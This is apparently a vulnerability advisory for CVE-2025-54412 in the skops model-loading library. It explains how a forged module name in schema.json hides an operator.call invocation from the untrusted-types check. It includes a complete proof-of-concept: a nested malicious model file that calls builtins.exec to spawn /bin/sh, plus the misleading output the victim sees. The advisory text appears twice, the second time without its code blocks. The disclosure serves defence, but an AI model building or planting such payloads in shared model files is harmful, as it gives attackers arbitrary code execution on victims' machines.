Summary
An inconsistency in OperatorFuncNode
can be exploited to hide the execution of untrusted operator.xxx
methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types.
Note: In this report, I focus on operator.call
as it appears to be the most interesting target, but the same technique applies to other operator
methods. Moreover, please do not focus too much on the specific example I used to hide the operator.call
invocation—it was a zero-effort choice meant solely to demonstrate the issue. The key point is the inconsistency that allows a user to approve a type as trusted, while in reality enabling the execution of operator.xxx
.
Details
The OperatorFuncNode
allows calling methods belonging to the operator
module and included in a trusted list of methods. However, what is returned by get_untrusted_types
and checked during the load
call is not exactly the same as what is actually called. Instead, it is something partially controlled by the model author. This means that the user checking the untrusted types can be tricked into thinking something benign is being used, while in reality the operator.xxx
method is executed.
Let’s look at the implementation of the OperatorFuncNode
:
# from io/_general.py:618-633
class OperatorFuncNode(Node):
def __init__(
self,
state: dict[str, Any],
load_context: LoadContext,
trusted: Optional[Sequence[str]] = None,
) -> None:
super().__init__(state, load_context, trusted)
self.trusted = self._get_trusted(trusted, [])
self.children["attrs"] = get_tree(state["attrs"], load_context, trusted=trusted)
def _construct(self):
op = getattr(operator, self.class_name)
attrs = self.children["attrs"].construct()
return op(*attrs)
As you can see, what is called during construction is operator.class_name
, where class_name
is the value of the "__class__"
key in the schema.json
file of the model.skops
. However, what is returned by get_untrusted_types
and checked during load
is the concatenation of the __module__
and __class__
keys. Interestingly, __module__
is not used in the construction of the OperatorFuncNode
, allowing an attacker to forge a module name that, when concatenated with the __class__
name, seems harmless and related to the model being loaded, while actually calling the operator.class_name
function.
For example, an attacker can create a schema.json
file with the following content:
{
"__class__": "call",
"__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
"__loader__": "OperatorFuncNode",
...
}
What is returned by get_untrusted_types
and checked during load
is "sklearn.linear_model._stochastic_gradient.SGDRegressor.call"
, which seems harmless and related to the model being loaded. However, what is actually called during the construction of the OperatorFuncNode
is operator.call
, which can be used to call arbitrary functions with the provided arguments.
NOTE: There is also the possibility of a collision with a real method ending with .call
. If, at some point, the user needs to trust a type like something.somewhere.call
, then the attacker can use the same name while actually executing operator.call
. This also means that, if at any point skops
adds a default trusted element named call
, the attacker can use it to execute arbitrary code by invoking operator.call
with the provided arguments.
PoC
As an example, to create a model that seems perfectly harmless but allows fully arbitrary code execution, I decided to do code reuse of the skops.io.loads
function from the skops
library. This function was chosen because, even though it is not in the default trusted list of skops
, it appears perfectly harmless and appropriate in the context of loading a model with skops
, hence it is likely to be trusted by users.
In particular, I combined the OperatorFuncNode
with the skops.io.loads
function to create a model (model.skops
) that, when loaded, executes a second model load using another, hidden model zipped into the original model.skops
file (hence not visible to the user unless manually unzipped and inspected). The second model is loaded with controlled arguments, allowing the attacker to specify any trusted list, thereby enabling arbitrary code execution.
Zip file structure
The zip file model.skops
has the following structure:
model.skops
├── schema.json
├── my-model-evil.skops
└── schema.json
Payload
The schema.json
file of model.skops
is as follows:
{
"__class__": "call",
"__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
"__loader__": "OperatorFuncNode",
"attrs": {
"__class__": "tuple",
"__module__": "builtins",
"__loader__": "TupleNode",
"content": [
{
"__class__": "loads",
"__module__": "skops.io",
"__loader__": "TypeNode",
"__id__": 5
},
{
"__class__": "bytes",
"__module__": "builtins",
"__loader__": "BytesNode",
"file": "my-model-evil.skops",
"__id__": 6
},
{
"__class__": "list",
"__module__": "builtins",
"__loader__": "ListNode",
"content": [
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"builtins.exec\""
},
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"sk.call\""
}
]
}
],
"__id__": 8
},
"__id__": 10,
"protocol": 2,
"_skops_version": "0.11.0"
}
Inside the zip file model.skops
, there is a file my-model-evil.skops
with the following content:
{
"__class__": "call",
"__module__": "sk",
"__loader__": "OperatorFuncNode",
"attrs": {
"__class__": "tuple",
"__module__": "builtins",
"__loader__": "TupleNode",
"content": [
{
"__class__": "exec",
"__module__": "builtins",
"__loader__": "TypeNode",
"__id__": 1
},
{
"__class__": "str",
"__module__": "builtins",
"__loader__": "JsonNode",
"content": "\"import os; os.system('/bin/sh')\"",
"__id__": 5,
"is_json": true
}
],
"__id__": 8
},
"__id__": 10,
"protocol": 2,
"_skops_version": "0.11.0"
}
Since the first model loads it, the second model is loaded with the attacker-controlled trusted list ["builtins.exec", "sk.call"]
, allowing execution of the exec
function with the provided argument without any further confirmation from the user. In this example, a shell command is executed, but the attacker can modify the payload to execute any arbitrary code.
What is shown when executing the payload
Suppose a user loads the model with the following code:
from skops.io import load, get_untrusted_types
unknown_types = get_untrusted_types(file="model.skops")
print("Unknown types", unknown_types)
input("Press enter to load the model...")
loaded = load("model.skops", trusted=unknown_types)
The output will be:
Unknown types ['sklearn.linear_model._stochastic_gradient.SGDRegressor.call', 'skops.io.loads']
Press enter to load the model...
This shows that the user is tricked into believing the model is safe, with apparently legitimate types like sklearn.linear_model._stochastic_gradient.SGDRegressor.call
and skops.io.loads
, while in reality, a shell is executed.
This is just one example, but the same technique can be used to execute any arbitrary code with even more misleading names.
Possible Fix
get_untrusted_types
and load
should verify what is actually called during the construction of the OperatorFuncNode
, not just rely on the concatenation of the __module__
and __class__
keys, which do not reflect the true behavior in this case.
Impact
An attacker can exploit this vulnerability by crafting a malicious model file that, when loaded, requests trusted types that are different from those actually executed by the model. Potentially, this can escalate— as shown— to the execution of arbitrary code on the victim’s machine, requiring only the confirmation of a few seemingly safe types. The attack occurs at load time. This is particularly concerning given that skops
is often used in collaborative environments and promotes a security-oriented policy.
Attachments
The complete PoC is available on GitHub at io-no/CVE-2025-54412.
Summary
An inconsistency in
OperatorFuncNode
can be exploited to hide the execution of untrustedoperator.xxx
methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types.Note: In this report, I focus on
operator.call
as it appears to be the most interesting target, but the same technique applies to otheroperator
methods. Moreover, please do not focus too much on the specific example I used to hide theoperator.call
invocation—it was a zero-effort choice meant solely to demonstrate the issue. The key point is the inconsistency that allows a user to approve a type as trusted, while in reality enabling the execution ofoperator.xxx
.Details
The
OperatorFuncNode
allows calling methods belonging to theoperator
module and included in a trusted list of methods. However, what is returned byget_untrusted_types
and checked during theload
call is not exactly the same as what is actually called. Instead, it is something partially controlled by the model author. This means that the user checking the untrusted types can be tricked into thinking something benign is being used, while in reality theoperator.xxx
method is executed.Let’s look at the implementation of the
OperatorFuncNode
:As you can see, what is called during construction is
operator.class_name
, whereclass_name
is the value of the"__class__"
key in theschema.json
file of themodel.skops
. However, what is returned byget_untrusted_types
and checked duringload
is the concatenation of the__module__
and__class__
keys. Interestingly,__module__
is not used in the construction of theOperatorFuncNode
, allowing an attacker to forge a module name that, when concatenated with the__class__
name, seems harmless and related to the model being loaded, while actually calling theoperator.class_name
function.For example, an attacker can create a
schema.json
file with the following content:What is returned by
get_untrusted_types
and checked duringload
is"sklearn.linear_model._stochastic_gradient.SGDRegressor.call"
, which seems harmless and related to the model being loaded. However, what is actually called during the construction of theOperatorFuncNode
isoperator.call
, which can be used to call arbitrary functions with the provided arguments.NOTE: There is also the possibility of a collision with a real method ending with
.call
. If, at some point, the user needs to trust a type likesomething.somewhere.call
, then the attacker can use the same name while actually executingoperator.call
. This also means that, if at any pointskops
adds a default trusted element namedcall
, the attacker can use it to execute arbitrary code by invokingoperator.call
with the provided arguments.PoC
As an example, to create a model that seems perfectly harmless but allows fully arbitrary code execution, I decided to do code reuse of the
skops.io.loads
function from theskops
library. This function was chosen because, even though it is not in the default trusted list ofskops
, it appears perfectly harmless and appropriate in the context of loading a model withskops
, hence it is likely to be trusted by users.In particular, I combined the
OperatorFuncNode
with theskops.io.loads
function to create a model (model.skops
) that, when loaded, executes a second model load using another, hidden model zipped into the originalmodel.skops
file (hence not visible to the user unless manually unzipped and inspected). The second model is loaded with controlled arguments, allowing the attacker to specify any trusted list, thereby enabling arbitrary code execution.Zip file structure
The zip file
model.skops
has the following structure:Payload
The
schema.json
file ofmodel.skops
is as follows:Inside the zip file
model.skops
, there is a filemy-model-evil.skops
with the following content:Since the first model loads it, the second model is loaded with the attacker-controlled trusted list
["builtins.exec", "sk.call"]
, allowing execution of theexec
function with the provided argument without any further confirmation from the user. In this example, a shell command is executed, but the attacker can modify the payload to execute any arbitrary code.What is shown when executing the payload
Suppose a user loads the model with the following code:
The output will be:
This shows that the user is tricked into believing the model is safe, with apparently legitimate types like
sklearn.linear_model._stochastic_gradient.SGDRegressor.call
andskops.io.loads
, while in reality, a shell is executed.This is just one example, but the same technique can be used to execute any arbitrary code with even more misleading names.
Possible Fix
get_untrusted_types
andload
should verify what is actually called during the construction of theOperatorFuncNode
, not just rely on the concatenation of the__module__
and__class__
keys, which do not reflect the true behavior in this case.Impact
An attacker can exploit this vulnerability by crafting a malicious model file that, when loaded, requests trusted types that are different from those actually executed by the model. Potentially, this can escalate— as shown— to the execution of arbitrary code on the victim’s machine, requiring only the confirmation of a few seemingly safe types. The attack occurs at load time. This is particularly concerning given that
skops
is often used in collaborative environments and promotes a security-oriented policy.Attachments
The complete PoC is available on GitHub at io-no/CVE-2025-54412.